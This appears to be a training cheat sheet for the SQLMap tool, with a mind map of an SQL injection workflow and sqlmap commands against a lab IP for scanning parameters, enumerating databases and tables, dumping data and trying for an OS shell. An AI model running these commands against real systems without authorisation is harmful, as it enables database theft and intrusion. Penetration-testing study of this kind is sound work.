SQLMap Automation
Automated SQL injection workflow
SQLMap EssentialsTip: Click on any node to see related information!
Interactive Mind Map
graph TD
A[Identify Parameter] --> B[Capture Request]
B --> C[Run SQLMap]
C --> D{Vulnerable?}
D -->|Yes| E[Enumerate DBs]
E --> F[Enumerate Tables]
F --> G[Dump Columns]
G --> H[Dump Data]
D -->|No| I[Adjust Level/Risk]
I --> C
H --> J[Try OS Shell]
Related Modules
Quick Reference
Basic Usage
sqlmap -u 'http://10.10.10.5/page?id=1' --batch # Basic scan with default options
POST Request
sqlmap -u http://10.10.10.5/login --data='user=a&pass=b' -p user # Scan POST parameter 'user'
With Cookie
sqlmap -u URL --cookie='PHPSESSID=abc123' # Scan with authenticated session cookie
Enumeration
sqlmap -u URL --dbs # Enumerate databases sqlmap -u URL -D dbname --tables # Enumerate tables in DB sqlmap -u URL -D db -T table --dump # Dump table data
OS Shell
sqlmap -u URL --os-shell # Attempt to get OS shell